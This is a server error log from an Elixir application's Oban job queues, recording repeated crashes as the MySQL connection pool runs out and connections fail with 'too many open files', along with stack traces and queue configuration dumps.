[Sat Sep  5 22:48:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:47:48.240909Z], limit: 5, uuid: "67125021-f0b1-4a4f-b2b1-7f17ab60e286", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:48.240915Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244303>, refresh_timer: #Reference<0.2525715032.1077411843.217494>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:47:48.240616Z], limit: 50, uuid: "a101883a-ff1e-4d60-bc9b-fb18937684f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:48.240622Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244301>, refresh_timer: #Reference<0.2525715032.1099169794.244290>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:00.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:47:48.240575Z], limit: 5, uuid: "cbabe7cb-d115-4351-b4af-4d58df5449e5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:48.240581Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244302>, refresh_timer: #Reference<0.2525715032.1077411843.217475>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:00.563000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:02.743000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:03.445000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:08.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:11.757000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:11.945000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:48:00.241319Z], limit: 50, uuid: "de01a172-368b-4104-b0d0-3b8c47ab3deb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:00.241326Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217855>, refresh_timer: #Reference<0.2525715032.1121189889.94525>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:48:00.241005Z], limit: 10, uuid: "03b035c5-424a-476d-8657-e8aa60ed55ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:00.241010Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217852>, refresh_timer: #Reference<0.2525715032.1077411843.217773>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:48:00.241534Z], limit: 5, uuid: "65f75a28-5585-4040-bf99-f861ed0d5d2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:00.241539Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217853>, refresh_timer: #Reference<0.2525715032.1077411843.217803>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:48:00.241225Z], limit: 5, uuid: "db25e5ce-c5d1-4827-8a1b-02ccefac7a24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:00.241229Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217854>, refresh_timer: #Reference<0.2525715032.1077411843.217787>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:48:00.240673Z], limit: 20, uuid: "465a7e29-368a-46fc-b58a-f1b09c6d4fd2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:48:00.240679Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.217851>, refresh_timer: #Reference<0.2525715032.1077411843.217755>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
